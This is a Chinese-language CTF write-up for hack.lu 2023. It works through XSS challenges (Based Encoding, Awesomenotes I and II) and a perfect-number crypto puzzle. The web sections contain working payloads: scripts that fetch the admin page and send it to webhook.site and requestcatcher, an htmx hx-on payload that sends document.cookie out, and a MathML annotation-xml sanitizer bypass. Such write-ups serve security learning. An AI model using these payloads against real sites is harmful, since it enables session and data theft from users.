2023hackluCTF

2023hackluCTF

web

Based Encoding

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route("/create", methods=["GET", "POST"])
def create():
if not session:
flash("Please log in")
return redirect("/login")
if request.method == "GET":
return render_template("create.html", logged_out=False)
elif request.method == "POST":
if not request.form["text"]:
return "Missing text"
text = request.form["text"]
if len(text) > 1000:
flash("Too long!")
return redirect("/create")
encoded = based91.encode(text.encode() if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0) else bytes.fromhex(text))
encoding_id = create_encoding(session["username"], encoded)

return redirect(f"/e/{encoding_id}")

输入的数据很通过base91的加密(可以分为普通字符和16进制两种情况)

1
encoded = based91.encode(text.encode() if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0) else bytes.fromhex(text))

那么对需要输入的数据进行一次解码转为16进制就可以将想要的字符成功注入了

1
2
3
4
@app.after_request
def add_header(response):
response.headers["Content-Security-Policy"] = "script-src 'unsafe-inline';"
return response

使用了CSP头'unsafe-inline',允许script标签的使用

同时我们的目标是得到admin的主页的连接

原本我的初步想法是通过fetch外带,但是卡在了base91的字符集里面没有.,导致浪费时间在绕过的情况下,赛后就发现实际上是使用String["fromCharCode"](46),就可以成功添加。

然后还有一个失误是在我使用ifame标签进行include主页,然后让admin访问的时候将数据外带,但是有个问题在于会将我创建的标签的语句直接发送,而不是渲染之后的body。所以这条路就堵死了。

因此一种方法是使用fetch加上回调函数模拟数据外带,还有一个手法是document.write的方法绕过字符限制

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
s='''
<script>
fetch("/")
["then"](x => x["text"]())
["then"](x => fetch("https://nice"+String["fromCharCode"](46)+"requestcatcher"+String["fromCharCode"](46)+"com/test", {
method: "post",
body: x
}))
</script>aaa
'''
text = decode(s).hex()
print(text)
encoded = encode(text.encode() if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0) else bytes.fromhex(text))
print(encoded)

存在通过String["fromCharCode"](46)去fetch到webhook一直会寄掉的问题

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ss='''
<script>
fetch("/")
["then"](x => x["text"]())
["then"](x => fetch("https://webhook.site/d7f943a5-32eb-47cc-a430-37e1398206b4", {
method: "post",
body: x
}))
</script>aaa
'''
import base64
ss = (base64.b64encode(ss.encode()).decode())
s = f'<script>document["write"](atob(`{ss}`));</script>aaaaa'
text = decode(s).hex()
print(text)
encoded = encode(text.encode() if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0) else bytes.fromhex(text))
print(encoded)

这个方法的扩展性更大

Awesomenotes I

看文档的题目,说一下思路

web应用是rust写的,但是写得还是比较浅显易懂的,没做复杂的抽象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
async fn main() {
// build our application with a single route
let app = Router::new()
.route("/", get(home))
.route("/create", get(create))
.route("/report", get(report))
.route("/note/:note", get(note))
.route("/api/report", post(take_report))
.route("/api/note/:note", get(get_note))
.route("/api/note", post(upload_note))
.nest_service("/static", ServeDir::new("public/static"));
// run it with hyper on localhost:3000
let server =
axum::Server::bind(&"0.0.0.0:3000".parse().unwrap()).serve(app.into_make_service());
println!("🚀 App running on 0.0.0.0:3000 🚀");
server.await.unwrap();
}

路由如上,比如.route("/", get(home))意思是在根目录,使用get传参,将参数给home函数进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
async fn upload_note(
mut multipart: Multipart,
) -> (StatusCode, Result<HeaderMap<HeaderValue>, &'static str>) {
let mut body: Option<String> = None;
while let Some(field) = multipart.next_field().await.unwrap() {
let Some(name) = field.name() else { continue };
if name != "note" {
continue;
}
let Ok(data) = field.text().await else {
continue;
};
body = Some(data);
break;
}
let Some(body) = body else {
return (StatusCode::BAD_REQUEST, Err("Malformed formdata"));
};
if body.len() > 5000 {
return (StatusCode::PAYLOAD_TOO_LARGE, Err("Note too big"));
}
let safe = ammonia::Builder::new()
.tags(hashset!["h1", "p", "div"])
.add_generic_attribute_prefixes(&["hx-"])
.clean(&body)
.to_string();
let mut name = [0u8; 32];
fs::File::open("/dev/urandom")
.unwrap()
.read_exact(&mut name)
.expect("Failed to read urandom");
let name = String::from_iter(name.map(|c| format!("{:02x}", c)));
fs::write(format!("public/upload/{:}", name), safe).expect("Failed to write note");
(
StatusCode::FOUND,
Ok(HeaderMap::from_iter([(
LOCATION,
format!("/note/{:}", name).parse().unwrap(),
)])),
)
}

关键看这个函数

1
2
3
4
5
let safe = ammonia::Builder::new()
.tags(hashset!["h1", "p", "div"])
.add_generic_attribute_prefixes(&["hx-"])
.clean(&body)
.to_string();

白名单允许h1,p,div的标签的使用,其余标签都无法通过,允许以hx-开头的属性值

原本看到rust出现了一个2023的xss CVE,还以为是rust本身的问题,后来看了一下,是底层逻辑问题直接导致的直接注入,跟这个没啥关系,后来查到了

https://htmx.org/

使用了大量的hx-开头的属性对html进行增强,然后就是开始翻文档了

1
<div hx-get="/example">Get Some HTML</div>

但是没办法直接对绝对路径发起请求,后来翻到了

1
<div hx-on:click="alert('Clicked!')">Click</div>

同时存在

https://htmx.org/reference/

各种属性和事件处理

原本的想法是使用htmx:beforeRequest在发起请求的使用进行alert,但是失败了,因为请求没有成功,然后就是发现失败的原因是存在报错,之后又是找了半天找了hx-on这个属性可以自动在不同情况下监听事件进行自定义行为

然后构造出来

1
2
3
<div hx-get="/" hx-on="htmx:targetError: fetch(`https://webhook.site/d7f943a5-32eb-47cc-a430-37e1398206b4/?a=`+document.cookie)">
Get Info!
</div>

自己点击没有问题,然后设置自动触发

使用hx-trigger="every 2s",每两秒进行一次请求(,这个仅仅针对hx-get同系列的事件)

1
2
3
<div hx-get="/" hx-trigger="every 2s" hx-on="htmx:targetError: fetch(`https://webhook.site/d7f943a5-32eb-47cc-a430-37e1398206b4/?a=`+document.cookie)">
Get Info!
</div>

ps:htmx版本是1.9.5,hx-on的事件监听写法需要是已弃用的写法(文档甚至没写啥时候弃用的,也是卡了一会)

然后把cookie放进去访问

https://awesomenotes.online/api/note/flag

另外一个思路看

https://www.youtube.com/watch?v=XNTX_wvltcU

Awesomenotes II

1
2
3
4
5
6
7
8
9
10
let safe = ammonia::Builder::new()
.add_tags(TAGS)
.add_tags(&["style"])
.rm_clean_content_tags(&["style"])
/*
Thank god we don't have any more XSS vulnerabilities now 🙏
*/
// .add_generic_attribute_prefixes(&["hx-"])
.clean(&body)
.to_string();

代码意思是允许style标签,以及TAGS的标签,但是会将style标签进行过滤

通过自带的example,可以允许一些html原生标签,如<br>,<img>等等

一种做法是通过<annotation-xml>标签,可以使用encoding属性,表示注释中语义信息的编码

然后翻一下文档

https://www.w3.org/TR/MathML3/chapter5.html#mixing.semantic.annotations

可以找到example

1
2
3
4
5
6
7
8
9
10
<math>
<semantics>
<mi>a</mi>
<annotation-xml encoding="text/html">
<span>xxx</span>
</annotation-xml>
</semantics>
<mo>+</mo>
<mi>b</mi>
</math>

这个就是其中一种做法的雏形,真正起到作用的只有math和annotation-xml

1
2
3
4
5
6
7
<math>
<annotation-xml encoding="text/html">
<style>
<img src=x onerror="alert(1)">
</style>
</annotation-xml>
</math>

encoding="text/html"style标签视为 html 命名空间中的标签,因此,其中的内容被视为纯文本,并且不会对其进行任何过滤,但是当删除该属性时,style标签现在位于math命名空间中,其中标签内的标签style被视为 html 标签。然后就会成功执行xss

crypto

Lucky Numbers

没什么意思的一道题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python
#hacklu23 Baby Crypyo Challenge
import math
import random
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import base64
import os

def add(e): return e+(length-len(e)%length)*chr(length-len(e)%length)
def remove(e): return e[0:-ord(e[-1:])]
length=16

def main():
flag= "flag{123}"
print("Starting Challenge")

key=get_random_bytes(32)
message=add(flag)
iv=get_random_bytes(length)
cipher=AES.new(key,AES.MODE_CBC,iv)
cipher_bytes=base64.b64encode(iv+cipher.encrypt(message.encode("utf8")))
print(cipher_bytes.decode())

for l in range(0,5):
A=[]
print("You know the moment when you have this special number that gives you luck? Great cause I forgot mine")
data2=input()
print("I also had a second lucky number, but for some reason I don't remember it either :(")
data3=input()
v=data2.strip()
w=data3.strip()
if not v.isnumeric() or not w.isnumeric():
print("You sure both of these are numbers?")
continue
s=int(data2)
t=int(data3)
if s<random.randrange(10000,20000):
print("I have the feeling the first number might be too small")
continue
if s>random.randrange(150000000000,200000000000):
print("I have the feeling the first number might be too big")
continue
if t>42:
print("I have the feeling the second number might be too big")
continue
# s ,t 可控
n=2**t-1
sent=False
for i in range(2,int(n**0.5)+1):
if (n%i) == 0:
print("The second number didn't bring me any luck...")
sent = True
break
if sent:
continue
u=t-1
number=(2**u)*(2**(t)-1)
sqrt_num=math.isqrt(s)
for i in range(1,sqrt_num+1):
if s%i==0:
A.append(i)
if i!=s//i and s//i!=s:
A.append(s//i)
total=sum(A)
if total==s==number:
decoded=base64.b64decode(cipher_bytes)
cipher=AES.new(key,AES.MODE_CBC,iv)
decoded_bytes=remove(cipher.decrypt(decoded[length:]))
print("You found them, well done! Here have something for your efforts: ")
print(decoded_bytes.decode())
exit()
else:
print("Hm sadge, those don't seem to be my lucky numbers...😞")

print("Math is such a cool concept, let's see if you can use it a little more...")
exit()

if __name__ == "__main__":
main()


需要满足total == s == number

s是我们的输入,number是由t决定,同时代码对t进行约束,2**t-1需要是素数,total是number因子的和

那么第一步先筛选出合法的t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for t in range(41):
n = 2 ** t - 1
# print(n)
sent = False
for i in range(2, int(n ** 0.5) + 1):
if (n % i) == 0:
print("The second number didn't bring me any luck...")
sent = True
break
if sent:
continue
u = t - 1
number = (2 ** u) * (2 ** (t) - 1)
if(number>20000):
print(t)

选出一个最小的t,然后得到13

然后我得到了固定的number,我就尝试s=number就成功了??考点迷惑

1
2
s = 33550336
t = 13